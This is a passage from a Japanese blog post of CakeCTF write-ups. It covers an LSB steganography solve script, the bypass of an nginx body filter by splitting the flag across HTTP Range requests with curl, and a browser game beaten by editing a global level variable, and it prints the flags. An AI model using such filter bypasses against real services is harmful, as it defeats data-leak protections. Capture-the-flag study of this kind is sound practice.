'0', '1'}, {'3', '2', '0', '1'}, {'e', 'f', 'c', 'd'}] [{'6', '7'}, {'0', '1'}, {'4', '5'}, {'6', '7'}, {'2', '3'}, {'4', '5'}, {'e', 'f'}, {'2', '3'}, {'4', '5'}, {'e', 'f'}, {'d', 'c'}, {'4', '5'}, {'4', '5'}, {'4', '5'}, {'9', '8'}, {'b', 'a'}, {'e', 'f'}, {'0', '1'}, {'2', '3'}, {'0', '1'}, {'2', '3'}, {'4', '5'}, {'6', '7'}, {'4', '5'}, {'9', '8'}, {'0', '1'}, {'4', '5'}, {'4', '5'}, {'4', '5'}, {'2', '3'}, {'0', '1'}, {'d', 'c'}] [{'6'}, {'0'}, {'4'}, {'7'}, {'2'}, {'4'}, {'e'}, {'2'}, {'4'}, {'e'}, {'d'}, {'4'}, {'4'}, {'4'}, {'8'}, {'b'}, {'e'}, {'1'}, {'2'}, {'1'}, {'3'}, {'5'}, {'6'}, {'4'}, {'8'}, {'1'}, {'5'}, {'5'}, {'4'}, {'3'}, {'0'}, {'d'}] [*] Switching to interactive mode Correct! FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}
misc
Break a leg [44 solves]
from PIL import Image from random import getrandbits with open("flag.txt", "rb") as f: flag = int.from_bytes(f.read().strip(), "big") bitlen = flag.bit_length() data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] img = Image.new("RGB", (256, 256)) img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)]) img.save("chall.png")
LSBにフラグが隠されていますが、ランダムなビットとORされているため一意に抜き取れません。
flagのbitが1のときにはbitlen
の周期でLSBが全て1, 0のときは01まばらになることを利用すれば確定させることができます。bitlen
は総当たりします。
from PIL import Image from Crypto.Util.number import * img = Image.open("./chall.png") bits = [] for d in img.getdata(): for di in d: bits.append(di & 1) # print(bits) for size in range(1, 100 * 8): bitlen = size count = [[0, 0] for _ in range(bitlen)] for i, bi in enumerate(bits): count[i % bitlen][bi & 1] += 1 # print(count) flag = 0 for i, ci in enumerate(count): if ci[0] == 0: flag |= 1 << i print(size, long_to_bytes(flag))
途中ごみも出てきますが、フラグが手に入ります。余談ですがずっとbitlen
が8の倍数になると思っていてそこそこ悩んでました。
❯ py solve.py 1 b'\x00' 2 b'\x00' 3 b'\x00' 4 b'\x00' ... 114 b'\x00' 115 b'\x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04' 116 b'\x00' ... 229 b'\x00' 230 b' \x00\x00\x00\x00\x01\x08\x00\x00\x00\x00\x01\x00 \x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04' 231 b'\x00' ... 344 b'\x00' 345 b'\x01\x00\x00\x00\x00\x00\x08@\x00\x00\x00\x00\x08\x01\x00 \x00\x00\x00\x00\x01\x08\x00\x00\x00\x00\x01\x00 \x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04' 346 b'\x00' ... 459 b'\x00' 460 b'\x08\x00\x00\x00\x00\x00B\x00\x00\x00\x00\x00@\x08\x01\x00\x00\x00\x00\x00\x08@\x00\x00\x00\x00\x08\x01\x00 \x00\x00\x00\x00\x01\x08\x00\x00\x00\x00\x01\x00 \x04\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00 \x04' 461 b'\x00' ... 574 b'\x00' 575 b'CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}' 576 b'\x00' ...
telepathy [29 solves]
なんと、フラグが送信されるサーバーが与えられます。しかし、そんなわけはなくフラグがnginxによりフィルタされています。
... server { listen 80; server_name localhost; #charset koi8-r; #access_log /var/log/nginx/host.access.log main; location / { # I'm getting the flag with telepathy... proxy_pass http://app:8000/; # I will send the flag to you by HyperTextTelePathy, instead of HTTP header_filter_by_lua_block { ngx.header.content_length = nil; } body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); } } ... }
\w\{.*\}
がbody中に引っ掛かるとメッセージの文字列に置き換えられてしまいます。どうにかしてフラグを置換されることなく送信させられないでしょうか。
ここで、パケットを分割(?)したりしたらCakeCTF{...
と...}
で分けられることにより正規表現を回避できるかなと思いつきました。
「HTTP 分割受信」で調べるとこの記事がヒットしました。
- GETリクエストを投げるときにヘッダーに'Range: bytes=0-499'とつけて送信すると、
- レスポンスヘッダーに'Content-Range: bytes 0-499/1000'とつけてボディにはそのファイルの最初の500バイト分だけ入れて返してくれる
へ~~となりました。やってみます。
❯ curl -H "Range:bytes=0-10" http://misc.cakectf.com:18100/ CakeCTF{r4n ❯ curl -H "Range:bytes=10-100" http://misc.cakectf.com:18100/ ng3-0r4ng3-r4ng3}
フラグが取れました。miscらしくて好きです。
CakeCTF{r4nng3-0r4ng3-r4ng3}
cheat
Kingtaker [22 solves]
ブラウザで動くHelltakerのパロディゲームが与えられます。
cheatをしろということでwindow
からグローバル変数を見てみます。
...ごちゃごちゃしてますね。根気で目grepすると、怪しいオブジェクトを見つけました。
ステージに関するオブジェクトのようで、2面に進むと以下のように変わりました。
"level2"と進んでいることがわかります。ここで、levelを書き替えることで飛ばして先の面に行けないか試しました。が、駄目でした。
よく見ると、idというプロパティもlevelを表していそうです。これを5に書き替えてRestartしてみます。
良い感じですね。色々試すと、一気に飛ばさずに次の面(id+1)に飛ばすことで検出は回避できました。
感想
前回のInterKosenCTFより難易度は高かったですが、質の高い問題揃いで楽しかったです。
pwnはJIT4bは何もわからなくて、Not So Tigerはソースコード一瞬読んで難しそうなので飛ばし、hwdbgはkernel何もわからなくて終わってしまいました。Writeup見ていたらそこまで複雑ではなさそうだったので、もう少し問題に取り組めてればもう1問解けたかもしれない(負け惜しみ)
revは最後の問題が一問余ってしまいましたが、余程難しくない限りrevは時間かければ解けるので昼寝しないでいれば解けてましたね(負け惜しみ2)
cryptoは何もわからなくて「う~~ん、捨て!w」となってました。cryptoから逃げるな